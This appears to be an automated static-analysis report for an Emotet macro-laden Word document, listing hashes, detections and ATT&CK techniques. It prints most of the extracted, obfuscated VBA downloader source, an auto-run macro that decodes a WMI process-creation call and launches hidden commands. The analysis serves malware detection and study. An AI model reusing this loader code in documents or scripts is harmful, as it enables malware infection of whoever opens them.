Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f83433cede77d6c7…

MALICIOUS

Office (OLE)

231.6 KB Created: 2020-08-13 23:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 89723896faee2968e3f66546b680b08d SHA-1: 5717df0db7e8df433a02c6a0218c4dc9e6ac2646 SHA-256: f83433cede77d6c7151c54b7d8688737bb94ef7b359fe7b6527bb1d7a20daf11
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, including a Document_Open auto-execution macro, and utilizes CreateObject, indicative of a downloader. ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-9317314-0'. The VBA script is heavily obfuscated, but the presence of auto-execution and object creation strongly suggests it's designed to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9317314-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9317314-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4257 bytes
SHA-256: 2426d711585ffc87e670bc1d4a0c1bd8338907f6329f7d815e13b00a0462b966
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HHUQMswcqsxnfgiqdo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
RHSXPhykusjyqjcflg.JUKMNrmtxwol
End Sub


Attribute VB_Name = "RHSXPhykusjyqjcflg"
Attribute VB_Base = "0{7ACEA0E7-E02F-4E92-93C1-B587EEDF6143}{3677FB8D-E0FD-4AE7-89B0-FC758305FF80}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JUKMNrmtxwol()
WQENFztxeffpbk = RHSXPhykusjyqjcflg.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
XQFNCvvtbekij = ChrW(WQENFztxeffpbk + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
BZZTRgjlgskkihcc = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + XQFNCvvtbekij + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + RHSXPhykusjyqjcflg.PEXYWgeibxglqpcs + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
CEMQQmesrpcmhyer = ODDWTfmnyowyoqf(BZZTRgjlgskkihcc)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set QGWZBbiesinyviqk = CreateObject(CEMQQmesrpcmhyer)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
GBYWItfsvhohshnscu = RHSXPhykusjyqjcflg.RXAUVmjzavxrm.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
SMQRXtrccrfvojtvch = LPZBTwvltvkhwn + (CEMQQmesrpcmhyer + XQFNCvvtbekij + RHSXPhykusjyqjcflg.XBQQKfiwpjom.ControlTipText + GBYWItfsvhohshnscu)
Dim gs2ËgnTcKiQ As String
KUNDUjcxhhour = SMQRXtrccrfvojtvch + RHSXPhykusjyqjcflg.PEXYWgeibxglqpcs
Dim N0ÚPb8Ì As Double
Set ETYKWxdeviumvr = RUTSNbsgnnwiaivtjuw(KUNDUjcxhhour)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
YYRRPppbbqvmrvtzhr = Array(GXLKZdujytmv + "FCECHejswnyly EQZWCquhymosnv QIPVRgorrrdhj", QGWZBbiesinyviqk. _
Create(ZSZJHpethzafwaet, JNYATqtzxjejydr, ETYKWxdeviumvr), PQOMGfiqgdpziezi + "WOZPRuemrkfqiil DCNTWeefitqbtqskwyb")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function RUTSNbsgnnwiaivtjuw(ASVSIyrerbfvhqfdvxs)
Set RUTSNbsgnnwiaivtjuw = CreateObject(ASVSIyrerbfvhqfdvxs)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
RUTSNbsgnnwiaivtjuw. _
showwindow = SXXVJzpudayudzfc + PNSKUhxedsarutk
Dim a4Õg As Object
End Function
Function ODDWTfmnyowyoqf(WALXTgemrbehsr)
EXCNUqljdhxnyvoehqf = WALXTgemrbehsr
Dim nGcyUDpZ As Byte
YYAKOknoliabjdrxlco = Split _
(EXCNUqljdhxnyvoehqf, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
HTLVLumijgszqtgeun = WHFERjwpkbivv + Join(YYAKOknoliabjdrxlco, ULQZGlieyqzrghocjgo)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
ODDWTfmnyowyoqf = HTLVLumijgszqtgeun
Dim kFPSyh As Object
End Function
Function ZSZJHpethzafwaet()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
WMCYYrebgjzpbley = RHSXPhykusjyqjcflg.MIEBJcxalitqbtqlofm.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
ZSZJHpethzafwaet = ODDWTfmnyowyoqf(WMCYYrebgjzpbley)
... (truncated)